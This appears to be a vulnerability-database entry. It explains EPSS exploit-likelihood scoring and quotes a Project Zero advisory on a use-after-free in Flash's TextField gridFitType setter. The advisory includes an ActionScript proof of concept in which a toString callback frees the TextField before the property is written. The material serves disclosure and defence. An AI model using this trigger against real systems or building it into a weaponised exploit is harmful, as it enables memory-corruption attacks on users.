EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Source: https://code.google.com/p/google-security-research/issues/detail?id=559 There is a use-after-free in the TextField gridFitType setter. If it is set to an object with a toString method that frees the TextField, the property will be written after it is freed. A PoC is as follows: var toptf = this.createEmptyMovieClip("toptf", 1); function func(){ toptf.removeMovieClip(); trace("here"); return "none"; } var o = {toString : func}; var my_format:TextFormat = new TextFormat(); my_format.font = "Times-12"; var my_text1:TextField = toptf.createTextField("my_text1", toptf.getNextHighestDepth(), 9.5, 10, 400, 100); my_text1.text = "this.gridFitType = none"; my_text1.embedFonts = true; my_text1.antiAliasType = "advanced"; my_text1.gridFitType = o; my_text1.setTextFormat(my_format); var my_text2:TextField = toptf.createTextField("my_text2", toptf.getNextHighestDepth(), 9.5, 40, 400, 100); my_text2.text = "this.gridFitType = advanced"; my_text2.embedFonts = true; my_text2.antiAliasType = "advanced"; my_text2.gridFitType = "pixel"; my_text2.setTextFormat(my_format); var my_text3:TextField = toptf.createTextField("my_text3", toptf.getNextHighestDepth(), 9.5, 70, 400, 100); my_text3.text = "this.gridFitType = subpixel"; my_text3.embedFonts = true; my_text3.antiAliasType = "advanced"; my_text3.gridFitType = "subpixel"; my_text3.setTextFormat(my_format); A sample swf and fla are attached.
